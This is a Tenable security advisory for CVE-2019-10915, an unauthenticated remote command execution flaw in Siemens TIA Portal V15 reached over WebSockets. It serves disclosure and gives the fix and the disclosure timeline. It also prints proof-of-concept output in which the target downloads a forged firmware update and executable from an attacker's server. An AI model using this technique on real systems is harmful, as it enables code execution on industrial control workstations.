Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Siemens TIA Portal (STEP7) Remote Code Execution

Critical

Synopsis

Tenable discovered a vulnerability in Siemens TIA Portal V15.1. The vulnerability is an unauthenticated, remote command execution vulnerability that allows a remote, unauthenticated attacker administrative access to all application commands. An attacker can execute application functionality by sending crafted packets over WebSockets protocol. The following output is from a proof of concept that triggers a malicious firmware update from an arbitrary server:
$python siemens_rce.py
 Starting httpd...
10.0.0.134 - - [08/Jul/2019 10:47:31] "GET /PWRSim/ HTTP/1.1" 200 -
10.0.0.134 - - [08/Jul/2019 10:47:33] "GET /PWRSim/PWRControlNet10 HTTP/1.1" 200 -
10.0.0.134 - - [08/Jul/2019 10:47:39] "GET /PWRSim/PWRControlNet10/SWM_RollOut_Configuration.xml HTTP/1.1" 200 -
10.0.0.134 - - [08/Jul/2019 10:47:43] "GET /PWRSim/PWRControlNet10/UpdatesSummaryCatalog.xml HTTP/1.1" 200 -
[+] Writing xml update forwarder -> Inventory_TIAPORTAL_V15_UPD99.xml
10.0.0.134 - - [08/Jul/2019 10:47:47] "GET /PWRSim/simatic/tiaportal/SEBU-TIAPORTALUPDATE/15.1.0.4//Inventory_TIAPORTAL_V15_UPD99.xml HTTP/1.1" 200 -
[+] Writing binary update forwarder -> Inventory_TIAPORTAL_V15_UPD99.exe
10.0.0.134 - - [08/Jul/2019 10:47:54] "HEAD /PWRSim/simatic/tiaportal/SEBU-TIAPORTALUPDATE/15.1.0.4/Inventory_TIAPORTAL_V15_UPD99.exe HTTP/1.1" 200 -
10.0.0.134 - - [08/Jul/2019 10:47:54] "HEAD /PWRSim/simatic/tiaportal/SEBU-TIAPORTALUPDATE/15.1.0.4/Inventory_TIAPORTAL_V15_UPD99.txt HTTP/1.1" 200 -
10.0.0.134 - - [08/Jul/2019 10:48:01] "GET /PWRSim/simatic/tiaportal/SEBU-TIAPORTALUPDATE/15.1.0.4/Inventory_TIAPORTAL_V15_UPD99.exe HTTP/1.1" 200 -
[?] Checking BITS Range -> Got BITS range 0-4894
[+] Reading "calc.exe", sending segment [seeking->0, reading->4894]

Solution

Upgrade to TIA Portal V15 Update 5

Disclosure Timeline

04/01/2019 - Tenable discloses to Siemens. 90 day is July 1
04/02/2019 - Siemens acks Tenable, provides their disclosure policy, and asks for Tenable's public key.
04/02/2019 - Tenable provides their public key.
04/05/2019 - Siemens acknowledges vulnerability, is working on a fix
04/08/2019 - Tenable requests CVE from Siemens
04/09/2019 - Siemens says they will assign a CVE shortly before publication
05/02/2019 - Siemens assigns CVE-2019-10915
05/28/2019 - Siemens says they will publish an advisory on June 11th
06/06/2019 - Siemens requests Tenable delay publishing until July 9
06/11/2019 - Tenable agrees to delay advisory until July 9

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-10915
Tenable Advisory ID: TRA-2019-33
Credit:
Joseph Bingham
CVSSv2 Base / Temporal Score:
9.0 / 7.4
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Affected Products:
SIMATIC TIA Portal V15
Risk Factor:
Critical

Advisory Timeline

07/09/2019 - Advisory released.